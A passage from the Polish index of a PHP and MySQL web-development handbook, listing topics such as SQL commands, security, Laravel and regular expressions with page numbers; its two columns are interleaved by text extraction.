metodyki programowania, 26 zapisywanie danych, 77
obliczanie dat, 424 zmiana właściwości, 394
obsługa błędów i wyjątków, 203 pobieranie
obsługa mechanizmów obiektowych, 25 listy wiadomości, 594
odstępy, 38 pliku, 412
operacje, 170 wiadomości pocztowych, 598
operatory, 48 poczta elektroniczna, 400
podświetlanie składni, 504 podświetlanie składni, 504
połączenie z bazą, 273 podzapytania
programowanie obiektowe, 167 podstawowe, 267
przechowywanie danych, 71 skorelowane, 268
przenośność, 25 w charakterze tabeli tymczasowej, 269
przestrzenie nazw, 198 wierszowe, 268
przetwarzanie plików, 72 pogawędki, 496
skalowalność, 24 polecenie
stałe, 46 ALTER TABLE, 270, 271
stałe klasowe, 189 CREATE USER, 231
stosowanie funkcji, 151 DESCRIBE, 243, 303
tablice, 91 EXPLAIN, 303–307
typy zmiennych, 44 GRANT, 231, 236, 291
w HTML, 36 GROUP BY, 265
wbudowane biblioteki, 25 INNER JOIN, 259
wiersz poleceń, 505 INSERT, 283
wsparcie, 26 LIMIT, 266
wydajność, 24 LOAD DATA INFILE, 313
ORDER BY, 264
Skorowidz 707

REVOKE, 236 rekomendacje, 566


SELECT, 266 rekomendowanie zakładek, 541
SHOW, 243, 301 rekurencja, 163
UPDATE, 269 relacja klient-serwer, 224
polimorfizm, 169 relacje, 218
połączenie relacyjne bazy danych, 216
z bazą, 273, 278 replikacja, 310
z serwerem, 359 router frameworka Laravel, 575
z serwerem FTP, 410 rozszerzenie
ponowne stosowanie kodu, 143, 511 Mbstring, 571
porównywanie łańcuchów znaków, 127 OpenSSL, 571
postinkrementacja, 51 PDO, 286, 571
poziomy przywilejów, 233 Tokenizer, 571
późne wiązania statyczne, 191 rozwijanie projektu, 568
preinkrementacja, 51 rysowanie figur, 455
priorytet operatorów, 57 ryzyko, 330
procedury składowane, 318 rzutowanie typu, 46
programowanie zorientowane obiektowo, 167
projektowanie
klas, 182 S
tabel, 219 schematy, 218
protokół, 399 sekwencje specjalne, 137
FTP, 75 selektory, 479
HTTP, 75 serializacja, 500
IMAP, 591 serwer
IMAP4, 400 Apache, 373
OAuth, 635 FTP, 410
SMTP, 400 logowanie, 410
prototypowanie, 518 modyfikacja pliku, 411
prowadzenie pogawędek, 493 pobieranie pliku, 412
przechowywanie wysyłanie plików, 413
danych, 71 zamykanie połączenia, 413
haseł, 368 IMAP, 592, 594
przeciążanie metod, 192 MySQL, 229
przekazanie pogawędek, 493
przez referencję, 160 składowanie danych, 314
przez wartość, 160 skrzynki pocztowe, 593
przesłanianie, 177 słowo kluczowe
przestrzenie nazw, 198 final, 178
przetwarzanie parent, 178
formularza, 36 return, 161
plików, 72 sortowanie
przyciski, 452 odwrotne, 102, 104
przypisywanie, 50 tablic, 100
przywileje, 230, 291, 297, 308 własne użytkownika, 103
przywracanie bazy danych, 310 spójność, 315
sprawdzanie
R obecności kodu SQL, 347
oczekiwanych wartości, 344
RDBMS, 89 typów zmiennych, 59
redundantne dane, 220 typu klasy, 190
reinterpretacja zmiennych, 61 obsługi PHP, 696
rejestracja poprawności danych, 277
błędów, 523, 536, 538 SQL, Structured Query Language, 253
użytkowników, 237, 230, 546 SSL, Secure Socjet Layer, 670, 697
stabilność kodu, 352
708 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

stała, 46 indeksów, 243


klasowa, 189 internetowej bazy danych, 227
stałe zgłaszania błędów, 533 katalogów, 391
standardy kodowania, 512 kopii bezpieczeństwa, 407
strefa zdemilitaryzowana, 360 obrazków, 443, 448
strefy czasowe, 415 tabel, 238
struktura typ danych
aplikacji Laravel, 572 Array, 45
declare, 70 Boolean, 45
dokumentu WWW, 519 Float, 45
funkcji, 154 Integer, 45
katalogów, 516 Object, 45
klasy, 170 String, 45
skryptu, 69 typy
strony, 432 całkowitoliczbowe, 246, 247
wiadomości e-mail, 611 danych w kolumnach, 246
strumień wyjściowy błędów, 538
styl
daty i czasu, 248
krótki, 37 kolumn, 241
XML, 37 liczbowe, 246
superużytkownik, 358 łańcuchowe, 249
system łańcuchowe binarne, 250
plików, 351, 392 o ustalonej precyzji, 248
płatności, 650 przywilejów, 233
przywilejów, 231 tabel, 223
uprawnień, 357 ARCHIVE, 314
szablon Blade, 582 CSV, 314
szeregowanie danych, 264 InnoDB, 314
MEMORY, 314
MERGE, 314
Ś MyISAM, 314
śledzenie zakupów, 650 zmiennoprzecinkowe, 247
zmiennych, 44

T
U
tabela, 216, 238
columns_priv, 296 uaktualnianie
db, 295 oprogramowania, 354
procs_priv, 296 systemu operacyjnego, 361
tables_priv, 296 udostępnianie usług, 362
user, 293 uprawnienia, 357
tablice, 91 usługa uwierzytelniająca, 635
indeksowane numerycznie, 92 ustawianie typów zmiennych, 59
wielowymiarowe, 97, 102 usuwanie
z innymi indeksami, 94 błędów, 523
zmiana kolejności elementów, 105 baz danych, 272
technologia AJAX, 477 katalogów, 391
tekst przycisku, 455 rekordów, 271
testowanie, 520 tabel, 272
transakcje, 315 wiadomości, 629
transfer danych początkowych, 311 zakładek, 564
transmisja danych, 331 utrata danych, 332
trasy, 576 uwierzytelnianie, 365, 371, 470
trwałość, 316 aplikacji, 617
tworzenie użytkowników, 539, 546
egzemplarzy, 171 użytkownicy, 357
funkcji, 143 używanie bazy danych, 238
Skorowidz 709

W Z
wartości, 217 zabezpieczanie
wcinanie, 514 haseł, 369
wdrażanie nowych wersji, 354 kodu źródłowego, 343
widok, 575, 581 strony, 370
administratora systemu, 652 zakładki, 540
użytkownika systemu, 651 dodawanie, 561
widoki Blade, 582 implementacja przechowywania, 561
wielokrotne dziedziczenie, 179 odczytywanie, 561
wiersz poleceń, 505 usuwanie, 564
wiersze, 216 wyświetlanie, 563
właściciel
zalety
skryptu, 502
MySQL, 27
pliku, 394
PHP, 24
wskazywanie typu, 190
zamiana
współużytkowane serwery hostingowe, 356
wstrzykiwanie kodu, 335 fragmentów łańcuchów, 141
wybór łańcuchów znaków, 129
bazy danych, 279 zamykanie
środowiska programistycznego, 517 pliku, 79
wyjątki, 203 połączenia, 413
użytkownika, 206 połączenia z bazą, 282
wykresy, 455 zapisywanie danych, 254
wylogowanie, 554 zapory sieciowe, 360
wyrażenia regularne, 132 zapytania do bazy danych, 276, 279
asercje, 138 zarządzanie
dopasowywanie znaków specjalnych, 136 datą i czasem, 415
klasy znaków, 133 zmiennymi, 59
kotwiczenie, 135 zasada
metaznaki, 136 działania sesji, 463
odnajdywanie fragmentów łańcuchów, 140 najmniejszego przywileju, 231
zasięg zmiennych, 47, 158
odwołania wsteczne, 138
zastosowanie
ograniczniki, 132
PHP, 34
podwyrażenia, 135
znaczników PHP, 37
podwyrażenia policzalne, 135 zawartość kodu źródłowego, 350
powtarzalność, 134 zbiory, 133
rozdzielanie łańcuchów, 141 wynikowe selektorów, 481
rozgałęzianie, 135 znaków, 430
sekwencje specjalne, 137 zgłaszanie błędów, 532, 534
style składni, 132 zintegrowane środowisko programistyczne, 517
zamiana fragmentów łańcuchów, 141 zmiana
wysyłanie hasła, 555
plików, 379, 380, 385, 413 przywilejów, 298
wiadomości, 629 struktury tabel, 269
wyszukiwanie danych, 71, 256, 259, 261 ustawień zgłaszania błędów, 534
wyświetlanie wielkości liter, 124
grafiki, 446 właściwości pliku, 394
strumienia, 643 zmienne, 43
zakładek, 563 formularza, 41
wywoływanie lokalne, 321
funkcji, 40, 151 sesyjne, 466
funkcji niezdefiniowanej, 153 skalarne, 112
operacji klas, 172 zmiennych, 46
wyzwalacze, 324 znacznik czasu, 420
wyzwalanie własnych błędów, 535 Uniksa, 417
wzorzec MVC Laravela, 574 znaczniki PHP, 37

You might also like